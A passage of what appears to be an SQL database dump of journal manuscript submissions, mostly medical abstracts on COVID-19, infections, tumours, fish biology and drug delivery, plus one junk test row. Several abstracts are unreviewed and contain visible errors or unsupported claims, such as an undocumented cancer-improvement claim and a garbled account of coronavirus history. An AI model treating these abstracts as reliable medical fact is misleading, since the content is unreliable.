ranging from one week to ten days, I request the same tests for comparison and request a CT scan for comparison. I used to find that the cancer marker is regressing, the blood tests are better, and the CT scan is shrinking the tumor.  The patient\'s health becomes better within two days or more (the appetite for food and drink improves, the activity becomes better, etc.) Experiments were conducted on hundreds of patients.  The topic is relatively long.','',5320,'','2022-02-12',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-02-18',1),(12514,12781,667,0,'','Molecular Typing of Parasites and Yeasts in the Sars Covid 19 Population at C H U Oran','',13,0,'','The determination of the impact of opportunistic infections found in patients during covid 19 allows us to emphasize the importance of the issues of management and means put in place in the context of covid 19 associated with these parasitic and fungal pathologies. \r\nMain objective\r\n','Sars Covid 19   Molecular Typing of Parasites and Yeasts  CHU ORAN    ',4092,'','2022-02-12',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-02-18',1),(12528,12798,86,0,'','Autoimmune haemolytic anemia associated with testicular Non seminomatous germ cell tumor (NSGCT): A unique Paraneoplastic presentation ','',2,3,'','Paraneoplastic syndrome (PNS) is the rare manifestation of malignancy which presents as remote systemic features unrelated to direct tumor involvement. Often PNS can be the only presenting symptom of the cancer and may warrant search for underlying malignancy. Immune response against malignant cells, sometimes cross reacts and destroys the normal cells.  PNS can manifest at any point of time in course of malignancy, either it may presage diagnosis,  or at relapse settings. Successful treatment of the malignancy is the key in managing PNS. Autoimmune hemolytic anemia (AIHA)  is a common presentation of hematological malignancy, but rarely reported with malignant solid tumors. We hereby illustrate a rare association of AIHA as PNS in a case of testicular non-seminomatous germ cell tumor and its management along with review of literature. To the best of our knowledge, this is the first such a case to be reported in literature. ','NSGCT, AIHA, Paraneoplastic syndrome, Testicular tumor, hemolytic anemia\r\n',3081,'','2022-02-22',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-02-23',1),(12540,12805,86,0,'','The Duration of Anticoagulant Therapy for Venous Thromboembolism','',6,0,'','According to accumulative facts, the short course of anticoagulants (3 months) is recommended   if the risk factors are major, while the long course (12 months) for minor risk factors and indefinite coarse for the persistent or unprovoked VTE. New research has found that a six-week course of treatment with anti-clotting medications (called “anticoagulants”) for acute, provoked blood clots in patients under 21 years old was just as effective, and at least as safe, as the standard anticoagulant treatment of three months.','anticoagulant',712,'','2022-02-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-02-28',1),(12566,12834,277,0,'','DETERMINACIÓN DE DIAGNÓSTICOS DE PACIENTES INGRESADOS AL SERVICIO DE URGENCIAS DE UN HOSPITAL INFANTIL EN COLOMBIA POR INTENTO DE SUICIDIO Y SU RELACIÓN CON ALTERACIONES DE SALUD MENTAL','',14,0,'','RESUMEN:\\\\r\\\\nINTRODUCCIÓN: El suicidio se reconoce como un problema destacado de salud pública, tanto globalmente, como en la región de Latinoamérica y el Caribe.\\\\r\\\\nOBJETIVO: Caracterizar la población de pacientes ingresados al servicio de urgencias del Hospital Infantil Napoleón Franco Pareja por intento de suicidio durante el periodo anual 2018 y primer semestre del 2019\\\\r\\\\nMETODOLOGÍA: Estudio descriptivo de corte transversal, en el que se analizaron los registros médicos de los pacientes ingresados al Hospital Infantil Napoleón Franco Pareja de la ciudad de Cartagena, Colombia, durante el periodo anual de 2018 y primer semestre del 2019 por intento de suicidio.\\\\r\\\\nRESULTADOS: A pesar que en 2018 la población fue mayor que en el año en curso, por el tiempo estudiado, es evidente que sigue aumentando la tasa de mortalidad tomando como referencia que la mayoría de los mismos ya han presentado episodios previos, siendo ingresados por el servicio en estos dos años un porcentaje del 73%, analizando que de los 74 pacientes, 72 tienen antecedentes de salud mental, correspondiendo a un 97% de la población, prevaleciendo la toma de medicamentos como como instrumento o arma para suicidarse, correspondiendo a un 45% de la población, seguido de un 12% al uso de químicos y 5% por uso de armas cortopunzantes.\\\\r\\\\n','PALABRAS CLAVES: Suicidio, Infantil, Hospital, Salud mental.',2805,'','2022-03-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-03-03',1),(12544,12808,959,0,'','wdawdaw','',24,0,'dawdwa','awdawdwadawd','kotnol, segs, brutal',5212,'','2022-02-24',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-03-09',1),(9984,10750,73,0,'','EX-ACCREBATED NEUROLOGICAL AND BRAIN DISORDERS IN COVID-19 PANDEMIC – A GLOBAL CONCERN','',6,3,'','Corona virus disease 2019 (COVID-19), caused by the severe acute respiratory syndrome corona virus type 2 (SARS CoV-2), has been shattering the entire globe since December 2019. Although different medicinal, interceptive, social, political interventions have been adopted, no down toward rate of this pandemic has been reported elsewhere. Among different health-care sectors, the neurological and brain disorders have been mostly affected due to the COVID-19 pandemic. Present article points towards the mostly affected neurological and brain disorders associated with COVID-19 and recommends plausible guidelines that would be of immense importance to the COVID-19 sufferers and their care-givers and health-care providers as well as to the policy makers spread all over the world.','Alzheimer’s disease, brain disorders, COVID-19, neuro-psychiatiric complications, SARS CoV-2.',327,'','2021-08-08',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-03-09',1),(6842,8104,996,0,'','BLOOD FLOW RESTRICTION COMBINED WITH Kinaesthesia, Balance  Training for Osteoarthritis knee : A rare case report ','',2,3,'case report','Background- Osteoarthritis knee is a prevalent condition and comprises 50% of all musculoskeletal disorders according to WHO . Therefore there is a need to bring about adjunct exercises protocols in field of rehabilitation so as to bring faster recovery even in elderly with low loads.\\r\\nCase presentation- the patient is a 70 year old female presenting with complain of pain in bilateral knee. Her problem list include crepitus, reduced knee range of motion with decreased strength,swelling,bony tenderness, morning stiffness which was managed by Blood flow restriction training (BFR) along with Kinaesthesia, Balance Training (KB) .Until now in the literature nothing has been found about the combination theses two approaches. Also the pressure utilized in the past was too high for geriatric population.\\r\\nConclusion- The results have shown decrease knee pain, improved balance,hypertrophy and increase range of motion. \\r\\n\\r\\n','Key words- Blood flow restriction, proprioception, osteoarthritis knee, pressure, case report.',4593,'','2021-12-02',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-03-09',1),(7629,8871,86,0,'','Editorial note on COVID 19: Latest updates and drug developments','',5,3,'','Covid-19 has been marked as a highly pathogenic coronavirus of COVID-19 disease into the human population, causing over 5.5 million confirmed cases worldwide. As COVID-19 has represented a worldwide danger with critical human setbacks and extreme monetary misfortunes, there is a squeezing interest to additionally comprehend the current circumstance and create sane techniques to contain the intense spread of the infection.','Covid-19, Drug Developments, Chloroquine',3386,'','2021-12-02',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2022-03-09',1),(8328,9478,73,0,'','Cardio-Cerebral Infarction Syndrome: Definition, Diagnosis, Pathophysiology and Treatment','',6,3,'','Acute ischemic stroke and coronary artery disease are the major causes of death worldwide. The prevalence of coronary artery disease has been reported in one fifth of stroke patients. Although high incidence rate of acute myocardial infarction  after acute ischemic stroke  and the high risk of acute ischemic stroke after myocardial infarction has been reported in several studies. Cardio-cerebral infarction syndrome encompasses a spectrum of disorders involving both the heart and brain in acute dysfunction. In this review we describe the definition and classification of the Cardio-cerebral infarction syndrome with 3 subtypes that reflect the pathophysiology and treatment options.','cardio-cerebral infarction',338,'','2021-12-03',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-03-09',1),(8511,9118,86,0,'','CARDIORESPIRATORY EVENTS IN CHILDREN DURING CHEMOEMBOLIZATION OF OPHTHALMIC ARTERY FOR RETINOBLASTOMA','',2,3,'neurosurgery','Retinoblastoma (RB) is the most common eye neoplasm in childhood, accounting for 2.5% to 4% of all pediatric cancers. Recent approaches to treat RB include localized administration of chemotherapy, such as super-selective ophthalmic artery chemotherapy. Although localized chemotherapy aims that minimize systemic side effects, some adverse cardio-respiratory reactions have been described as associated with this therapy. Our case report describes the cardiorespiratory severe events presented secondary to super-selective chemotherapy of the ophthalmic artery, to which we must be prepared to avoid fatal outcomes.','retinoblastoma, cerebral angiography, chemoembolization, intraoperative complication, super-selective ophthalmic artery  chemoembolization',3362,'','2021-12-03',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2022-03-09',1),(8213,9378,971,0,'','Association between Meningococcal Meningitis and Santa Ana Winds in Children and Adolescents from Tijuana, Mexico','',17,3,'Immunoprofiling','Background: Based on several previous studies (both regional and national), Tijuana, Baja-California, Mexico (across the border from San Diego, California, USA), has the highest rate of Meningococcal Meningitis (MeM) in the country, the reason for this has not yet been known. In the “African Meningitis Belt”, the Harmattan seasons are associated with MeM outbreaks. The Santa Ana winds (SAW’s) are hot and dry winds (similar to Harmattan seasons) that occur seasonally in southwestern California, USA, and North of Baja-California, Mexico. Our aim was to demonstrate an association of SAW’s with MeM in Tijuana, Baja-California, Mexico, and therefore, may explain the high rate of this disease in the region. Methods and Findings: Based on previous published data obtained from active surveillance of MeM, and a 65 years review showing the occurrence of SAW’s seasons, we estimated the risk ratio (RR) of MeM vs. bacterial non-MeM during seasons with and without SAW’s.This study shows an association of SAWs seasons with MeM, but not with bacterial non-MeM (RR=2.179, 95% CI 1.85 to 2.56), which it may partially explains the high endemicity of this deadly disease in this part of the globe. Conclusion: This study provides more information that justifies universal meningococcal vaccination in Tijuana, Mexico.','Meningococcal meningitis\r\nClimate\r\nWeather\r\nChildren\r\n',3249,'','2021-09-18',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-03-09',1),(8212,9377,971,0,'','Varicella Hospitalizations and Community-Acquired Methicillin-Resistant Staphylococcus aureus','',17,3,'Immunoprofiling','Introduction: In Mexico, universal Varicella vaccination is not part of the National Immunization Program. Community-acquired methicillin-resistant Staphylococcus aureus (CA-MRSA) infection is increasing worldwide. CA-MRSA infection in children with Varicella has scarcely been reported. Methods and Findings: From January-2012 to December-2018, we performed active surveillance for children < 16 years of age hospitalized with Varicella at the Tijuana General Hospital, Mexico. To all patients with suspected bacterial superinfection, a culture sampling was conducted. CA-MRSA was described and identified by both in vitro resistance to methicillin and other isoxazolyl penicillins and by identifying the gene mec-A by PCR. A total of 40 patients were enrolled. The median age at admission was 20.5 months (1-190). All but 4 (10%) were previously healthy children. None were vaccinated against Varicella. Cellulitis (with/without abscess) was the leading complication (50%), with 70% CA-MRSA identified in abscesses. Septicemia/bacteremia was present in 10 (25%), blood isolation was confirmed in seven (3 S. aureus (all CA-MRSA), 2 S. pyogenes, 1 S. pneumoniae, 1 E. coli). Conclusions: Hospitalizations by Varicella in our Hospital are not infrequent; they are associated with high morbidity and relatively low mortality. The leading complication was bacterial superinfection represented by soft-tissue infections and bacteremia/septicemia mostly due to CA-MRSA.','Varicella.\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\nMethicillin-resistant Staphylococcus aureus (MRSA).\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\nCommunity-acquired Methicillin-resistant Staphylococcus aureus (CA-MRSA).\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\nVaricella vaccine.\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\nAntibiotic control.',3249,'','2021-12-01',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-03-09',1),(7556,8812,251,0,'','Prevalence and characterization of bacterial and yeast vaginal infections in a public health institution of Ouagadougou, Burkina Faso.','',14,3,'','Vaginal infections are the most prevalent women’s health problem. This study carried out from November 2018 to May 2019 aimed to determine the prevalence and the antimicrobial susceptibility of bacteria and yeasts implicated of vaginal infections in Ouagadougou, Burkina Faso. A total of 43 samples were collected from patients consulting at the National Public Health Laboratory of Ouagadougou. Then, microscopic observations and culture on specific media of women\'s vaginal discharge were used to identify the incriminated microorganism. The Candida albicans species was identified as 45.95% with high resistance to amphotericin B (93.75%) and flucytosine (100%). Staphylococcus aureus was identified at 21.62% with total resistance to penicillin G (100%), amoxicillin (100%), and trimethoprim-sulfamethoxazole (100%). This study raises concerns about the therapeutic management of vaginal infections.','Burkina Faso, vaginal infections, Staphylococcus aureus, Candida albicans, antimicrobials.',3944,'','2021-09-13',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','  ',0,'','',4,0,0,0,NULL,'2022-03-10',1),(8671,9743,91,0,'','Mucoadhesive Buccal Drug Delivery System : A Review','',15,3,'','Current innovation in pharmaceuticals determine the merits of mucoadhesive drug delivery system is particularly relevant than oral control release, for getting local systematic drugs distribution in GIT for a prolong period of time at a predetermined rate. The demerits relative with the oral drug delivery system is the extensive pre systemic metabolism, degrade in acidic medium as a result insufficient absorption of the drugs. However parental drug delivery system may beat the downside related with oral drug delivery system but parental drug delivery system has significant expense, least patient compliance and supervision is required. By the buccal drug delivery system the medication are directly pass via into systemic circulation, easy administration without pain, brief enzymatic activity, less hepatic metabolism and excessive bioavailability. This review article is an outline of buccal dosage form, mechanism of mucoadhesion, in-vitro and in-vivo mucoadhesion testing technique.','Buccal drug delivery system, Mucoadhesive drug delivery system, Mucoadhesion, mucoadhesive polymers, Permeation enhancers, Bioadhesive polymers.\r\n',4616,'','2021-09-18',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2022-03-10',1),(9179,10139,959,0,'','A Case Report- Management of a patient with severe trismus with bilateral recurrent pericoronitis along with chronic Oral Submucous Fibrosis- A premalignant lesion','',2,3,'','Abstract- A 37 years, old male patient reported with the chief complaint of inability to open mouth since 10-11 months and recently pain and swelling resulting from wisdom teeth of both sides limited the mouth opening severely (<9mm, less than one finger opening) that he could not take solid food properly. After partial relief and mouth opening (12mm) with antibiotic therapy patient was examined and diagnosed as oral submucous fibrosis (osmf) along with impacted molars in both sides. Treatment was planned with conservative approach consisted of pharmacotherapy and physiotherapy for osmf and surgical removal of impacted third molars of both sides. Mouth opening was improved gradually (>15mm after 3 weeks, >22mm after 6 weeks,>27 mm after 9 weeks).','Key Words- Oral submucous fibrosis (OSMF), Trismus, Impacted third molar, Fibrous bands',3284,'','2021-10-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted for publication',0,'','',4,0,0,0,NULL,'2022-03-10',1),(10247,10944,667,0,'','Genotyping of Hepatitis C Virus isolated from Libyan patients by line immune Probe Assay ( LiPA ) ','',14,3,'','Chronic HCV infection contributed with the development of some diseases such as liver cirrhosis, cancer, and liver failure especially in HIV-positive patients during active antiretroviral therapy which may lead to death. This was the reason that genotyping has become a very important in routine diagnosis and management of chronic viral hepatitis infections. The purpose of this study was to see HCV genotypes among Libyan patients by LiPA technique, were a 75 blood samples were collected  and  processed at the laboratory of BIDIC (Benghazi Center of Infectious disease and Immunity) to perform the viral load and HCV genotyping. It was found that (60 %) of the collected samples belongs to HCV genotype 4, and (26.7 %) subtype 1a, while other subtypes 2a/2c, subtype 1b; Subtype    1a /1b; and genotype 2 all represented 5.3%; 5.3 %; 1.3 %; 1.3 % respectively. This concluded that HCVgenotypes in libya is distributed consuistently with Libyan neighboring countries. And the analysis of the 5′ UTR by LiPA with the INNO-LiPA HCV II kit can provide a quick, simple and reliable method for determination of the HCV genotype.','Chronic HCV infection, genotypes, subtype, HIV-positive patients',4579,'','2021-11-27',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2022-03-10',1),(8188,9331,639,0,'','Scales: Dermal Structures of Fish','',3,3,'FIsh Stock and sustainable yield','Scales are little plate-molded dermal or epidermal structures that are found in the external skeletons of fish, reptiles, or a few well evolved creatures. The skeletons of numerous vertebrates are covered by two sorts of scales, specifically epidermal and dermal. Epidermal scales start from the malpighian layer of the epidermis.','Placoid Scales, Cosmoid Scales, Ganoid Scales',1770,'','2021-12-01',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','  ',0,'','',4,0,0,0,NULL,'2022-03-10',1),(8211,9331,639,0,'','The major criteria behind the Fish Farming/Psiciculture','',3,2,'FIsh Stock and sustainable yield','Fish cultivating or pisciculture includes bringing fish financially up in tanks or fenced in areas, for example, fish lakes, typically for food. It is not the same as hydroponics, which is the cultivating of sea-going creatures like fish, shellfish, molluscs, etc. An office that discharges adolescent fish into the wild for sporting fishing or to enhance an animal groups\' characteristic numbers is for the most part alluded to as a fish incubation center. Around the world, the main fish species created in fish cultivating are carp, tilapia, salmon, and catfish','Extensive aquaculture, Cage system, Copper-alloy nets',1770,'','2021-12-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1',' ',0,'','',0,0,0,0,NULL,'2022-03-10',1),(8418,9557,639,0,'','Effect of COVID – 19 pandemic in  fisheries and fisherman of  rural area.','',2,3,'Effect of COVID – 19 pandemic in  fisheries and fisherman of  rural area.','THIS NOTE / CASE STUDY DOSE NOT CARRY ABSTRACT .','',4822,'','2021-12-01',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2022-03-10',1),(8504,9633,667,0,'','Assessment of Low Birth Weight and Responsible Factors for Newborn Infants in Tepi General Hospital, South Western Ethiopia','',15,3,'','Abstract\r\nBackground: Birth weight plays an important role in infant mortality and morbidity, child development, and future health of the child. Reports showed that low birth weight is one of the critical issues in Ethiopia  that causes many babies short-term and long-term health consequences and tends to have higher mortality and morbidity. This study assessed and identified the determinants of weight of newborn children at birth in Tepi General Hospital, South Western Ethiopia. \r\nMethods: The data for this study was extracted by reviewing delivery registration medical record and card of the study subject. A total of 1838 newborn infants were considered.  Chi- square test and Binary logistic regression model were used for data analysis.\r\n Results: According to this study, from the sampled newborn infants 616 (33.52%) of infants weight is below 2500grams and 1222 (66.48%) of newborn infants weight is 2500 grams and above. The prevalence of low birth weight of newborn infants is 33.52%.The estimated odds ratio (OR) of place of residence or maternal residence (rural) equals to exp(0.243)= 1.275 (95% CI: 1.020, 1594), indicates that urban children are 1.275 times more likely to be low birth weight child at birth as compared to urban children holding all other variables constant.\r\nConclusion: Children from rural mothers, mothers who did not get more antenatal care visits, mothers who did not get more vaccination during pregnancy, are gives low birth weight at birth or they are not normal at birth. Birth order of children at birth and mothers’ pregnancy problem are directly related in this study.\r\n','Newborn Infant, Binary logistic regression, Odd ratio, Weight of child at birth.',3575,'','2021-12-01',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-03-10',1),(8796,9847,975,0,'','Comparison of Covid-19 Vaccines Globally : an overview ','',15,3,'',' It was 2012 when the first case of corona virus noticed by the Saudi Authorities which spread through the Asian countries, also flown to European countries. In 1960 revealed the presence of the corona virus when it was declared as the reason of common cold in human beings. On January 30, 2020, the WHO declared the COVID-19 outbreak a global health emergency. On March 11, 2020, the WHO declared COVID-19 a global pandemic. There are three brands of vaccines available that are Pfizer, Moderna and Johnson & Johnson (Janssen). A mild difference may present as post vaccination effects. The Pfizer–BioNTech COVID-19 vaccine is based as mRNA and marketed as Comirnaty.\r\nPfizer reported a 91 percent efficacy rate after six months, while Moderna reported a 94 percent efficacy rate. Moderna, we are pioneering a class of medicines based on messenger RNA (mRNA). The Janssen COVID-19 Vaccine may not protect everyone. Mostly 2 doses of the vaccine are required to protect and these are intramuscular injections. Its quantity would be changed in different age groups. Some common side effects include fatigue, headache, and pain in joints, fever, chills, and muscle pain. However everyone should vaccinated for protection of corona virus disease.\r\n \r\n','Keywords: Vaccine, Covid-19, Pfizer, Moderna, Janssen, mRNA',4089,'','2021-12-01',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-03-10',1),(5958,7189,639,0,'','Seasonal Variation of Fatty Acid composition of Phospholipid Subclasses in Muscle Tissue in Male, Alburnus mossulensis','',14,3,'','Fatty acids are quite important both as an energy source and in terms of functional tasks for living systems. In addition, these compounds are the structures that have the greatest change depending ecological factors in terms of biochemical. These biochemical compounds are located in the cell structure. So, Analysis of these fatty acids, which have very important membrane integrity and permeability in life, is very important for living things. Therefore, fatty acid analysis at the phospholipid level is quite important. In this study, it was aimed to determine the seasonal variation of the fatty acids of phospholipid subclasses in muscle tissue.\r\nIn our study, sexes of the samples were determined in the laboratory. After the total lipid extraction of the muscle tissue belonging to the male one was made, it was separated into phospholipid subclasses by thin layer chromatography. After the methylation process, samples were analyzed qualitatively as % fatty acid with Gas Chromatography. As a result of analysis, a total of 16 fatty acids were determined. As a results of analyses, out of saturated fatty acids, 16:0 and 18:0; out of monosaturated ones, 16:1n-7 and 18:1n-9; out of polyunsaturated ones, 20:4n-6, 20:5n-3 22:5n-322:5n-3 and 22:6n-6 were identified as the major fatty acids. When the fatty acid distribution is examined, 16:0 in PC; 18:0 in PI and PS; 18:1n-9 in PC and PS; in 20:4n-6 PI; 20:5n-3 in PC and PI; 22:6n-3 and n-3 in PE and n-6 were found to be higher in PI than others. It is detected that in April, total PUFA and n-3 in PC, PE and PI; in November and January, total SFA in PSs are higher than the other months. In our study, the PI subclasses n-3/n-6 rate of the fish has been at the lowest level according to PC, PE and PS.','Fatty Acid, Phosphatidylcholin, Phosphatidylethanolamin, Phosphatidylinositol, Phosphatidylserine',1777,'','2021-12-02',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-03-10',1),(7017,8291,251,0,'','Cervical Radiculopathy Associated with Shingles Herpes Zoster Infection','',17,3,'','This study discusses the case of a 43-year-old man with concurrent cervical spine radiculopathy and herpes zoster shingles infection. A 43-year-old man with left sided C6 radiculopathy was evaluated and treated for the clinical diagnosis of C5-C6 disc herniation. Ten days before seeking care he had received influenza and pneumococcal vaccinations while recovering from an upper respiratory tract infection. A week after vaccination, he noticed tingling, aching, and fatigue in his left arm. A week later, a rash appeared on his left arm. This was diagnosed via Teledoc as shingles; ibuprofen was prescribed, as too much time had lapsed for antiviral medication. \r\n','Chiropractic; Radiculopathy; Herpes Zoster; Manipulation, Spinal',781,'','2021-12-02',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','  ',0,'','',4,0,0,0,NULL,'2022-03-10',1),(7040,8314,959,0,'','ESMO ADVANCED COURSE ON NTRK GENE FUSION: Acquired resistance to NTRK inhibitors','',3,2,'','?	The TRK family includes TRKA, TRKB, and TRKC proteins encoded by the genesNTRK1, NTRK2, and NTRK3, respectively\r\n?	Oncogenic TRK fusions that lead to constitutive activation of TRK signaling have been identified in many solid malignancies in both adults and children1\r\n	1st generation TRK inhibitors including Larotrectinib and entrectinib have demonstrated clinical benefit in patients with solid malignancies harboring oncogenic NTRKfusions2,3,4,5\r\n?	Solvent front mutation, gatekeeper mutation, and glycine mutation of DFG at the beginning of the A-loop have been reported in clinical trials from larotrectinib-and entrectinib- refractory patients2,3,4,5\r\n?	Both Loxo-195 and Repotrectinib was designed to systematically overcome resistant mutations','NA',3216,'','2021-12-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(7200,8472,975,0,'','Enzyme Inhibitory and Antioxidant activities of Sterculia tragacantha Lindl Leaves in the Management of Type II Diabetes Mellitus','',14,3,'','This study sought to investigate the anticholinesterases, α-amylase and α-glucosidase as well as antioxidant potentials of aqueous crude extract of Sterculia tragacantha leaves (AESTL) in vitro. The aqueous extract of AESTL was prepared and its inhibitory potentials on acetylcholinesterase (AChE), butyrylcholinesterase (BChE), α-amylase and α-glucosidase activities were estimated using appropriate methods. Also, in vitro antioxidant properties were investigated via FRAP, DPPH, ABTS, and TAC using standard models. The result of our study revealed that the extract inhibited AChE, BChE, α-amylase and α-glucosidase activities. Also, AESTL extract displayed strong inhibitory ability against in vitro antioxidant parameters studied. Taken together, the results revealed that AESTL extract possesses antioxidant and strong inhibitory activities in vitro and this may probably be useful in the management of diabetes mellitus. ','Sterculia tragacantha, butyrylcholinesterase, scavenging, peroxidation, Folin- Ciocalteu, diabetes mellitus',3460,'','2021-12-02',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-03-10',1),(7449,7427,45,0,'','MALE PARTNERS INVOLVEMENT AND ASSOCIATED FACTORS IN PREVENTION OF MOTHER TO CHILD TRANSMISSION OF HIV IN EAST BADAWACHO DISTRICT, HADIYA ZONE, SOUTHERN ETHIOPIA','',14,3,'','Background: Transmission of HIV mother-to-child remains a significant problem in the developing world despite the development and growing availability of effective prevention methods appropriate for resource-limited settings. Male involvement has been recognized as apriority focus area to be strengthened in PMTCT but testing male partners for HIV in the context of preventing mother to- child transmission remains a challenge in most low- and middle-income countries.\r\nObjective: To assess male partners involvement in prevention of mother-to-child transmission of HIV and associated factors in East Badawacho woreda, Hadiya Zone, Southern Ethiopia, 2019.\r\nMethods: A community based cross-sectional study was conducted from July 1- 30, 2019 on a sample of 402 male partners whose wife attended ANC visit in the past six months. The calculated sample was proportionally allocated to all Kebeles, and sample households with eligible male partner was selected from each kebele using simple random sampling technique. Structured questionnaire was administered to male partners. Data was entered using Epi-data version 3.1 and exported to SPSS Version 20 for analysis. Descriptive analysis was used to see the overall distribution of the study subject with the variables under study. Both bivariate and multivariate analysis (binary logistic regression) was used to identify factors associated with male partner’s involvement in PMTCT. P value of <0.05 was considered as statistically significant with 95% confidence interval.\r\nResult: The overall male involvement in PMTCT of HIV was 52.4% [95% CI (47.6-56.7)]. Good knowledge on PMTCT (AOR=3.27; CI=1.19-9.01), duration of relationship for 11 to 20 years (AOR=0.337; CI=0.14-0.82), attending primary and secondary education, Bad attitude of health professionals towards clients (AOR=0.449: CI=0.21-0.98) and good knowledge on ANC (AOR=6.338; CI=2.13-18.9) are factors significantly associated with male involvement in PMTCT of HIV.\r\nConclusions: Male involvement in the PMTCT program in East Badawacho district was low (52.4%). Good knowledge on PMTCT and ANC, duration of relationship for 11 to 20 years, attending primary and secondary education, and bad attitude of health professionals were significantly associated with male partner involvement. Community sensitization of men about the benefits of antenatal care and PMTCT and improving client-friendliness in the clinics needs to be prioritized in order to improve low male participation and mitigate the effect of socio-economic and cultural factors.','Male partner, Male involvement, PMTCT, ANC',4076,'','2021-12-02',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2022-03-10',1),(4567,5776,45,0,'','Dry needling versus soft tissue release to treat migraine headache: A randomized clinical trial','',14,3,'','Background: Migraine headache is known to be associated with problems such as myofascial trigger points (MTrPs). There are many treatments for myofascial trigger points. In this study, we compared the effectiveness of dry needling and soft tissue techniques to treat symptoms in patients with migraine headache. \r\nMethods: Forty subjects with migraine headache, presenting with MTrPs in the upper trapezius, the sternocleidomastoid, and the sub-occipital muscles, participated in this study. Subjects were divided randomly into two groups of dry needling (DN) and soft tissue techniques. The visual analog scale (VAS), neck disability index (NDI) and cervical range of motion (CROM) were recorded. These outcomes were assessed before and 48 hours after the post-treatment. Independent t test and paired t-test were used for statistical analysis. \r\nResults: The results showed that both treatment methods significantly reduced the VAS and NDI score, and increased CROM after treatment compared with before treatment (P < 0.05). The findings revealed the soft tissue technique decreased the pain intensity (T = 3.23, P=0.003) and the NDI (T = 5.52, P<0.001) more than dry needling method. . However, no significant difference was found between the two groups in CROM variables (P>0.05). \r\nConclusions: The dry needling and soft tissue technique were equally effective in improving symptoms in migraine patients. Therefore, both of techniques may be prescribed for treating migraine patients with MTrPs in cervical muscle.\r\n',' Migraine Disorders; Trigger point; Needles; Range of motion',641,'','2021-12-03',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted',0,'','',4,0,0,0,NULL,'2022-03-10',1),(4715,5931,45,0,'','Status of distribution of coronavirus disease (COVID-19) in Ethiopia within first three months ','',14,3,'','Introduction: Coronavirus disease 2019 (COVID-19) is an infectious disease caused by severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2). COVID-19 started in China Wuhan town for the first time and spread over the world in short period of time. The virus transmits through contact and infected droplet in closed distance and it affects the breathing system and cause the death. The general objective of this study was to assess the distribution of COVID-19 in Ethiopia within three months.  \r\nMethod: The retrospective study conducted by using secondary data extracted from the Federal Minister of Health daily report, from March 13/2020 to June 12/2020. The data-extracting format developed to record data daily according to reports from Federal minister of health. Descriptive statistical analysis applied to assess the distribution of coronavirus disease (COVID-19) and Microsoft Excel and SPSS version 24 was used to analyzed data.   \r\nResult: This study revealed that out of 2,915 cases within three months 74(2.74%) were between March, 13/2020 and April 13/ 2020, and increased to 189(6.48%) between April 14/2020 and May, 14/ 2020 and to 2652 (90.98) between May, 15-June, 12/ 2020. It implies that the increment of COVID-19 from the onset of first month to the second month was 3.74% and from the second month to the third month was 84.5%. According to the results of sources of contamination of COVID-19, the unknown source was highly prevalent than contact with coronavirus suffered individuals and travel history from other countries. The death rate was highly increased from first two months to third month by 82.98% and the recovery rate increased by 53.44%. This result reveals that the death rate extremely increased than recovery rate. The distribution was very high in Addis Ababa and very low in Gambella region within three months. \r\nConclusion: According to this study, male individuals more exposed than females and unknown sources of contamination of COVID-19 were higher than other sources. Washing hands often with soap and water, using alcohol based hand sanitizer, keeping distance and disinfecting most frequently touching surface may reduce the spread of COVID-19 infection from unknown sources. \r\n','COVID-19, Descriptive analysis, New cases',643,'','2021-12-03',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted',0,'','',4,0,0,0,NULL,'2022-03-10',1),(6571,7830,639,0,'','EFFECT OF SUPPLEMENTAL AMINO ACID ON PERFORMANCE AND PROXIMATE COMPOSITION OF Clarias gariepinus (BURCHELL, 1822) FED ROASTED SOYABEAN BASED DIETS','',14,3,'','Effects of supplementing roasted soyabean based diet with the first two limiting amino acid (L-lysine and DL-methionine) on growth performance and proximate composition of Clarias gariepinus (C. 